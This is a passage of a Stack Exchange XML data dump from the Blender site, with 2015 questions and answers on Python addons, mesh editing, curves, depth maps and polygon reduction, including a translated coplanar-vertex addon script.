one-stop solution by using a script/addon coded by nirenyang, a friend from local community. After being requested, he made this for us, also &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?378769-addon-mesh_3points_flat_trim_yi&quot; rel=&quot;noreferrer&quot;&gt;posted on BA&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my translated version of his script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;Coplanar by 3 Verts&quot;,&#xA;    &quot;author&quot;: &quot;NirenYang[BlenderCN]&quot;,&#xA;    &quot;version&quot;: (0, 1),&#xA;    &quot;blender&quot;: (2, 75, 5),&#xA;    &quot;location&quot;: &quot;3d view - toolbar&quot;,&#xA;    &quot;description&quot;: &quot;Make vertices coplanar using a plane defined by the first/last three selected verts.&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;mesh&quot;,&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;import bpy&#xA;import bmesh&#xA;from mathutils.geometry import intersect_line_plane, distance_point_to_plane, normal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;enum_ref = [( 'first', 'First', 'Defined by the first three selected verts' ),&#xA;            ( 'last', 'Last', 'Defined by the last three selected verts' )]&#xA;class MESH_OT_3points_flat_trim(bpy.types.Operator):&#xA;    &quot;&quot;&quot;&#xA;    Manually pick three vertices to define the reference plane&#xA;    &quot;&quot;&quot;&#xA;    bl_idname = 'mesh.3points_flat_trim'&#xA;    bl_label = 'Coplanar by 3 Verts'&#xA;    bl_options = {'REGISTER', 'UNDO'}&lt;/p&gt;&#xA;&#xA;&lt;code&gt;ref_order = bpy.props.EnumProperty(name='Refferece Plane', description='Use the first/last three selected vertices to define the reference plane', items=enum_ref, default=&quot;last&quot;)&#xA;filter_distance = bpy.props.FloatProperty(name='Filter Distance', description='Only affects vertices further than this distance', default=0.0, precision=3, min=0.0)&#xA;&#xA;&#xA;@classmethod&#xA;def poll(cls, context):&#xA;    obj = context.active_object&#xA;    return (obj and obj.type == 'MESH')&#xA;&#xA;def execute(self, context):&#xA;    C = context&#xA;    D = bpy.data&#xA;    ob = C.active_object&#xA;&#xA;    #if bpy.app.debug != True:&#xA;    #    bpy.app.debug = True&#xA;    #    if C.active_object.show_extra_indices != True:&#xA;    #        C.active_object.show_extra_indices = True&#xA;&#xA;    if ob.mode == 'OBJECT':&#xA;        me = C.object.data&#xA;        bm = bmesh.new()&#xA;        bm.from_mesh(me)&#xA;    else:&#xA;        obj = C.edit_object&#xA;        me = obj.data&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;&#xA;    bm.select_history.validate()&#xA;    if len(bm.select_history) &amp;lt; 3:&#xA;        self.report({'INFO'}, 'Pick three vertices first')&#xA;        return {'CANCELLED'}&#xA;&#xA;    points3Index = []&#xA;    points3 = []&#xA;    _ordering = bm.select_history if self.ref_order==&quot;first&quot; else list(bm.select_history)[::-1]&#xA;    for i in _ordering:&#xA;        if len(points3) &amp;gt;= 3:&#xA;            break&#xA;        elif isinstance(i, bmesh.types.BMVert):&#xA;            points3.append(i.co)&#xA;            points3Index.append(i.index)&#xA;    print(points3Index)&#xA;    if len(points3) &amp;lt; 3:&#xA;        self.report({'INFO'}, 'at least three vertices are needed to be selected')&#xA;        return {'CANCELLED'}&#xA;&#xA;&#xA;    points3Normal = normal(*points3)&#xA;    for v in bm.verts:&#xA;        if v.select and v.index not in points3Index:&#xA;            _move = True&#xA;            if self.filter_distance &amp;gt; 0.0:&#xA;                _move = abs(distance_point_to_plane(v.co, points3[0], points3Normal)) &amp;lt; self.filter_distance&#xA;            if _move == True:&#xA;                v.co = intersect_line_plane(v.co, v.co+points3Normal, points3[0], points3Normal)&#xA;&#xA;    if ob.mode == 'OBJECT':&#xA;        bm.to_mesh(me)&#xA;        bm.free()&#xA;    else:&#xA;        bmesh.update_edit_mesh(me, True)&#xA;&#xA;    return {'FINISHED'}&#xA;&#xA;def menu_func_MESH_OT_3points_flat_trim(self, context):&#xA;    self.layout.operator(MESH_OT_3points_flat_trim.bl_idname,&#xA;                        text=MESH_OT_3points_flat_trim.bl_label)&#xA;&#xA;def register():   &#xA;    bpy.utils.register_class(MESH_OT_3points_flat_trim) &#xA;    bpy.types.VIEW3D_PT_tools_meshedit.append(menu_func_MESH_OT_3points_flat_trim)&#xA;&#xA;def unregister():&#xA;    bpy.types.VIEW3D_PT_tools_meshedit.remove(menu_func_MESH_OT_3points_flat_trim)&#xA;    bpy.utils.unregister_class(MESH_OT_3points_flat_trim)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-08-16T13:21:36.537" LastActivityDate="2015-08-16T13:21:36.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35764" PostTypeId="1" CreationDate="2015-08-15T07:39:37.673" Score="1" ViewCount="46" Body="&lt;p&gt;I am new to Blender and I have a pretty basic question. I have a 3D numpy array of grass vertices that I would like to load and render in Blender. This is what I would normally do with numpy and matplotlib:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from mpl_toolkits.mplot3d import Axes3D&#xA;from mpl_toolkits.mplot3d.art3d import Poly3DCollection&#xA;&#xA;data_folder = '../data/seville/'&#xA;world_name = 'world5000_gray.mat'&#xA;&#xA;matlab_world  = sio.loadmat(data_folder + world_name)&#xA;&#xA;X = matlab_world['X']&#xA;Y = matlab_world['Y']&#xA;Z = matlab_world['Z']&#xA;&#xA;grass_verts = np.dstack((X, Y, Z))&#xA;p_grass = Poly3DCollection(grass_verts,&#xA;                           array=colours[:,0],&#xA;                           edgecolor='none',&#xA;                           cmap=grass_cmap)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;…some code missing…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question I have is, how do I do this from within the Blender scripting environment?&lt;/p&gt;&#xA;" OwnerUserId="16430" LastEditorUserId="47" LastEditDate="2015-08-15T08:02:09.813" LastActivityDate="2015-08-15T08:02:09.813" Title="Render grass blades defined by numpy array" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-08-15T12:30:30.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="35765" PostTypeId="2" ParentId="35758" CreationDate="2015-08-15T07:50:48.783" Score="1" Body="&lt;p&gt;Don't know much about how rigid bodies work behind the scenes, and haven't really scripted rigid body sims before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if the contact normals are the normals of the faces that were touched during collision, you might be able to get them with a little hack: set up dynamic paint to paint the faces that are touched by the colliding object, then use a script to find all the faces that were painted (via the vertex color map created by the dynamic paint simulation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a little script that finds these normals if you use a red color for painting the touched object (assumes that the painted object is the active object, with the dynamic paint modifier applied and the default vertex color map name was used for the dynamic paint sim):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;from collections import defaultdict&#xA;&#xA;def get_vcolors( obj ):&#xA;    ''' &#xA;        Vert colors are arranged in an unintuitive way, according to loop vertices, go figure.&#xA;        Also, every vertex has as many vertex colors as the number of faces its included in.&#xA;        This function outputs a dictionary where every vertex index has a list of vertex colors &#xA;        associated with that vertex.&#xA;    '''&#xA;    vcolor_dict = defaultdict(list)&#xA;    mesh        = obj.data&#xA;    color_layer = obj.data.vertex_colors['dp_paintmap']&#xA;&#xA;    i = 0&#xA;    for poly in mesh.polygons:&#xA;        for idx in poly.loop_indices:&#xA;            loop  = mesh.loops[idx]&#xA;            color = color_layer.data[i].color&#xA;            vcolor_dict[loop.vertex_index].append(color)&#xA;            i += 1&#xA;&#xA;    return vcolor_dict&#xA;&#xA;o = bpy.context.object&#xA;vcolors = get_vcolors( o )&#xA;&#xA;# Find all the verts that have a red value above 0.9&#xA;red_verts = []&#xA;for v in vcolors:&#xA;    for c in vcolors[v]:&#xA;        if c.r &amp;gt; 0.5:&#xA;            red_verts.append( v )&#xA;            continue&#xA;&#xA;# Find the faces that include a red vert and their normals&#xA;red_faces = []&#xA;for i,f in enumerate(o.data.polygons):&#xA;    for rv in red_verts:&#xA;        if rv in f.vertices:&#xA;            red_faces.append( i )&#xA;&#xA;red_faces = list(set(red_faces) ) # Remove doubles&#xA;red_faces_normals = [ o.data.polygons[i].normal for i in red_faces ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find the setup I used for the simulations here (blend file):&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/37568&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/37568&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-15T07:50:48.783" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35766" PostTypeId="2" ParentId="35759" CreationDate="2015-08-15T07:52:25.990" Score="2" Body="&lt;p&gt;I don't fully understand the main goal of the main loop &lt;code&gt;for material in bpy.data.materials&lt;/code&gt; loop, but an equivalent code is the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# transparentBlocks = already defined earlier&#xA;# lightBlocks = already defined earlier&#xA;&#xA;misc_materials = [&#xA;    &quot;Stationary_Water&quot;, &#xA;    &quot;Flowing_Water&quot;, &#xA;    &quot;Slime&quot;, &#xA;    &quot;Ice&quot;, &#xA;    &quot;Stained_Glass&quot;, &#xA;    &quot;Stained_Glass_Pane&quot;&#xA;]&#xA;&#xA;for material in bpy.data.materials:&#xA;    print(&quot;Started &quot;+str(material))&#xA;&#xA;    if material.name in set(transparentBlocks + lightBlocks + misc_materials):&#xA;        pass&#xA;    else:&#xA;        # use a normal shader&#xA;        Normal_Shader(material)&#xA;&#xA;    print(&quot;Finished &quot;+str(material))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-08-15T07:52:25.990" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35767" PostTypeId="1" CreationDate="2015-08-15T08:09:29.570" Score="4" ViewCount="1389" Body="&lt;p&gt;I'm building a Blender (2.75) plugin for our 3D engine (&lt;a href=&quot;https://github.com/aerys/minko&quot; rel=&quot;nofollow&quot;&gt;https://github.com/aerys/minko&lt;/a&gt;). So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the things I'd like to do is to mimic Unity's feature that scripts can be directly added to scene nodes in the editor. Such scripts properties can then be edited directly through a dynamic property inspector built by parsing the script public members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already done what I think is the worst part: using libclang and the python bindings to parse my C++ headers and retrieve a list of the public properties (each property being a public getter/setter pair). I can use this list to generate a list of Blender properties like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_properties(self):&#xA;    if not self._props:&#xA;        c = self._get_minko_script_classes(self._clangSource.cursor)&#xA;        setters = self._get_class_setters(c[0])&#xA;&#xA;        self._props = {}&#xA;        for name, set_type in setters.items():&#xA;            if set_type == 'bool':&#xA;                self._props[name] = bpy.props.BoolProperty(name=name)&#xA;            elif set_type == 'int':&#xA;                self._props[name] = bpy.props.IntProperty(name=name)&#xA;            elif set_type == 'minko::math::ivec2':&#xA;                self._props[name] = bpy.props.IntVectorProperty(name=name, size=2)&#xA;            elif set_type == 'minko::math::ivec3':&#xA;                self._props[name] = bpy.props.IntVectorProperty(name=name, size=3)&#xA;            elif set_type == 'minko::math::ivec4':&#xA;                self._props[name] = bpy.props.IntVectorProperty(name=name, size=4)&#xA;            elif set_type == 'float':&#xA;                self._props[name] = bpy.props.FloatProperty(name=name)&#xA;            elif set_type == 'minko::math::vec2':&#xA;                self._props[name] = bpy.props.FloatVectorProperty(name=name, size=2)&#xA;            elif set_type == 'minko::math::vec3':&#xA;                self._props[name] = bpy.props.FloatVectorProperty(name=name, size=3)&#xA;            elif set_type == 'minko::math::vec4':&#xA;                self._props[name] = bpy.props.FloatVectorProperty(name=name, size=4)&#xA;            elif set_type == 'std::string':&#xA;                self._props[name] = bpy.props.StringProperty(name=name)&#xA;&#xA;    return self._props&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to display those properties (self._props) in a panel. But Blender examples are all about &quot;static&quot; property definition, declaring properties as class members... I guess Python would let me create dynamic classes definitions. But it sounds hacky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: how to pass this list of Blender *Property to the UI to display it properly in a Blender friendly way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;" OwnerUserId="16431" LastEditorUserId="47" LastEditDate="2015-08-15T09:04:44.117" LastActivityDate="2015-08-17T08:44:17.657" Title="dynamic PropertyGroup / Panel" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35768" PostTypeId="1" CreationDate="2015-08-15T09:00:36.703" Score="2" ViewCount="57" Body="&lt;p&gt;In this scene, I want the blue disk to be invisible to the camera, hide the part of text that disk covers while keeping the plane all visible.&lt;a href=&quot;https://i.stack.imgur.com/El9JL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/El9JL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="7894" LastActivityDate="2015-08-15T09:00:36.703" Title="How to use Mask to hide a specific object?" Tags="&lt;masking&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ClosedDate="2015-08-15T12:57:13.670" ContentLicense="CC BY-SA 3.0" />
  <row Id="35769" PostTypeId="2" ParentId="35755" CreationDate="2015-08-15T11:30:32.907" Score="0" Body="&lt;p&gt;I know of two more choices if restore to factory settings doesn't work for you. The first is to append another saved blender file. File&gt;Append choose file and browse to the brushes. The second is to reinstall blender.&lt;/p&gt;&#xA;" OwnerUserId="15639" LastActivityDate="2015-08-15T11:30:32.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35770" PostTypeId="1" CreationDate="2015-08-15T12:06:41.513" Score="3" ViewCount="1500" Body="&lt;p&gt;With RenderLayers Node you can get the Z distance from the camera to the object behind &lt;code&gt;(x,y)&lt;/code&gt; which is &lt;code&gt;sqrt((x - xcam)² + (y - ycam)² + (z - zcam)²)&lt;/code&gt;. But is it also possible to get only the distance along the camera Z axis for each pixel in the rendered image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assumed my camera is at &lt;code&gt;(0,0,0)&lt;/code&gt; and looks parallel to the X-axis and I have a point at &lt;code&gt;(3,0,4)&lt;/code&gt;. Then i would get the distance of 5, but it i need it to be 3. The camera could also be somewhere else or rotated in all directions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible to read out?&lt;/p&gt;&#xA;" OwnerUserId="14054" LastActivityDate="2015-08-16T09:12:36.913" Title="Depth map with distance along the camera Z axis" Tags="&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35771" PostTypeId="1" AcceptedAnswerId="36177" CreationDate="2015-08-15T14:19:55.617" Score="15" ViewCount="14630" Body="&lt;p&gt;If I create a bezier curve and rotate it in edit mode it does not accordingly rotate the tilt of the handles which creates an undesirable twisting along the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example using a bezier circle with a square used for a bevel object:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iamTm.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iamTm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is after being rotated 90° about the y-axis:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xKDuE.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xKDuE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I prevent/fix this?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2020-08-23T15:34:41.843" Title="Why does a bezier curve twist when rotated?" Tags="&lt;transforms&gt;&lt;bezier-curves&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35772" PostTypeId="2" ParentId="35771" CreationDate="2015-08-15T14:31:05.727" Score="0" Body="&lt;p&gt;A way to &quot;solve this&quot; is to select the &quot;vertex&quot; that is bad (the first), then the previous one (the last), subdivide by 1, move the new vertex where the error vertex is and delete the old vertex, that should fix the &quot;continuity&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see in edit mode where the &quot;direction&quot; of the flow is, those little &quot;arrows&quot; says where the curve is going and how it twist (because lines/curves really don't have twist) so it is visually visible.&lt;/p&gt;&#xA;" OwnerUserId="14900" LastEditorUserId="14900" LastEditDate="2015-08-15T14:45:17.800" LastActivityDate="2015-08-15T14:45:17.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35774" PostTypeId="1" CreationDate="2015-08-15T15:03:31.937" Score="3" ViewCount="805" Body="&lt;p&gt;I'm making a human body. It has 70,000 faces so far, and I still have to make the face. In weight paint mode, it lags. How can I reduce this without making it look less smooth?&lt;a href=&quot;https://i.stack.imgur.com/gTTTh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gTTTh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VwILe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VwILe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-08-15T16:01:36.963" LastActivityDate="2015-08-15T16:01:36.963" Title="Is 100,000 faces a big render? How can I reduce it?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35775" PostTypeId="1" CreationDate="2015-08-15T15:10:57.930" Score="3" ViewCount="10323" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/evU9X.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/evU9X.png&quot; alt=&quot;image &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i was wandering is there a way to transform object 2 into object 1, without going into edit mode and deleting all extra vertice from object 2&#xA;i tried the un-subdivide option but it did something else :/ help please.&lt;/p&gt;&#xA;" OwnerUserId="16433" LastActivityDate="2015-08-15T19:21:26.550" Title="the opposite of subdivide" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ClosedDate="2015-08-15T20:02:11.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="35776" PostTypeId="2" ParentId="35774" CreationDate="2015-08-15T15:20:55.057" Score="1" Body="&lt;p&gt;100,000 is a lot of faces on a slow computer, but not too many on a fast computer (definitely not unrealistically high). As a general rule, always stay as low-poly as possible for as long as you can, and use a subdivision modifier to add the look of smoothness while maintaining an easy-to-edit lower-poly mesh for edit/weight paint/etc. modes. Don't apply the subdiv modifier unless you have to. If you can get away with it, never apply it. Rigs will live perfectly well underneath or on top of a subdiv modifier. Working like that helps your viewport stay nice and smooth!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case--since it seems you've already applied a smooth or two to your model, you may be able to reduce your poly-count by using the &lt;a href=&quot;https://www.blender.org/manual/modifiers/generate/decimate.html&quot; rel=&quot;nofollow&quot;&gt;decimate modifier&lt;/a&gt;, but that's sort of hit or miss and may require a bit of touch-up.&lt;/p&gt;&#xA;" OwnerUserId="15708" LastActivityDate="2015-08-15T15:20:55.057" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35777" PostTypeId="2" ParentId="35775" CreationDate="2015-08-15T15:23:19.150" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://www.blender.org/manual/modifiers/generate/decimate.html&quot; rel=&quot;nofollow&quot;&gt;decimate modifier&lt;/a&gt; can do this, though it doesn't always work quite like you want it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender Reference Manual, Decimate Modifier&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Decimate modifier allows you to reduce the vertex/face count of a mesh with minimal shape changes....The Decimate modifier is a quick and easy way of reducing the polygon count of a mesh non-destructively. This modifier demonstrates the advantages of a mesh modifier system because it shows how an operation which is normally permanent and destroys original mesh data, can be done interactively and safely using a modifier.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15708" LastActivityDate="2015-08-15T15:23:19.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35778" PostTypeId="2" ParentId="21082" CreationDate="2015-08-15T15:25:32.637" Score="14" Body="&lt;p&gt;The Cleanup Menu has an option called ' Limited Dissolve '. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/osOWx.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/osOWx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This turns the mesh on the left side into the mesh on the right:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/94er5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/94er5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you see, it treats all surfaces that are adjacent and have a consistent 'normal' direction as one surface and joins them .&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-15T16:14:02.423" LastActivityDate="2015-08-15T16:14:02.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35779" PostTypeId="2" ParentId="35124" CreationDate="2015-08-15T15:49:16.683" Score="1" Body="&lt;p&gt;Basically it is a problem with scale and geometry to origin offset and so its easy to fix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with a new blender scene &lt;kbd&gt;ctrl + N&lt;/kbd&gt; and move the camera, cube and pointlight to another layer. In your scene properties you could set units to &lt;em&gt;metric&lt;/em&gt; if you want.&#xA;In your 3D View go to top ortho view with &lt;kbd&gt;numpad 7+5&lt;/kbd&gt; and toggle on the 3D view properties panel with &lt;kbd&gt;N&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Import the first of your .3ds files and set &quot;Size Constraint&quot; to 1000 (maximum) in the import options (down left).&#xA;After import just hit &lt;kbd&gt;home&lt;/kbd&gt; (View &gt; View All) and you should see your objects. Problem is they are very far away from the center and you are not able to view both the center &lt;em&gt;and&lt;/em&gt; your objects at the same time with the default viewport clipping values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact your objects are &lt;strong&gt;&lt;em&gt;several million&lt;/em&gt;&lt;/strong&gt; blender units away from the center while their origins are at the center. This is a bit impractical to work with ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this I would do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After importing all .3ds files as described above just hit &lt;kbd&gt;home&lt;/kbd&gt; to bring them all to view. Place the 3d cursor where you want to have your new coordinate center. Select all objects and set their origins to the 3d cursor. Next &lt;kbd&gt;shift + C&lt;/kbd&gt; to center cursor and &lt;kbd&gt;shift + S&lt;/kbd&gt; &gt;&lt;em&gt;Selection to Cursor&lt;/em&gt;. Finally &lt;kbd&gt;home&lt;/kbd&gt; again and all should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oUUX8.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oUUX8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16031" LastActivityDate="2015-08-15T15:49:16.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35780" PostTypeId="1" CreationDate="2015-08-15T16:14:56.637" Score="1" ViewCount="400" Body="&lt;p&gt;I'm making a mini cooper at the moment, and the modeling goes pretty ok. I model the mini cooper by using front, back, side and over view and match the mesh to these images and make elements of the car individually. But realistically these elements (door, hood, fender, bumpers, side panel) are aerodynamic and align each other. So how can I make the elements smooth (without modifying the general shape) and align them to make it look realistic, since right after modeling these elements and the transitions of the elements are not very smooth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I try to do after the modeling:&#xA;Join adjacent elements, set 3d cursor in the gap between the elements, select vertices that are next to each other with respect to the gap (so transition of the elements), and scale to 0 on the axis that is normal to the gap. But I think there is a more efficient method. So how can I make the elements smooth (without modifying the general shape) and align them to make it look realistic, since right after modeling these elements and the transitions of the elements are not very smooth. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without material cannot be seen directly:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dSecI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dSecI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with Glossy shader it can be seen the fender and door are not aligned nicely:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bg013.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bg013.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the side panel at back is not smooth:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/B6Z52.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B6Z52.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images with Glossy shader can be reproduced with this blend file (by using the camera's in the scene)&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/37591&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/37591&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-08-16T10:05:52.360" LastActivityDate="2015-08-17T05:53:09.423" Title="How to make elements of mini cooper (door, hood, fender, bumpers, side panel) and their transitions smooth?" Tags="&lt;modeling&gt;&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35781" PostTypeId="1" AcceptedAnswerId="35897" CreationDate="2015-08-15T16:35:54.547" Score="4" ViewCount="14598" Body="&lt;p&gt;I have a text buffer that is loaded from an external file.  In that same text buffer I need to write code that imports some functions from another file in the same directory as the one in the text buffer.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hardcoding that path in the source is unsuitable because the file may live in different directories on different users' machines.&lt;/li&gt;&#xA;&lt;li&gt;Command-line arguments seem like a a horrid Rube Goldberg kludge and a horrible user experience.&lt;/li&gt;&#xA;&lt;li&gt;a file selection dialog is also poor user experience.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Java has a mechanism similar to what I want using class.getResource(relPath) (imagine if tomcat gave you a file selection dialog box when it needed to load the Spanish translations for localized string resources)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best python technique to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-08-17T21:24:09.360" LastActivityDate="2015-08-17T21:45:10.233" Title="how do I import functions from a file in the same directory as the file that is the source of the current text buffer?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
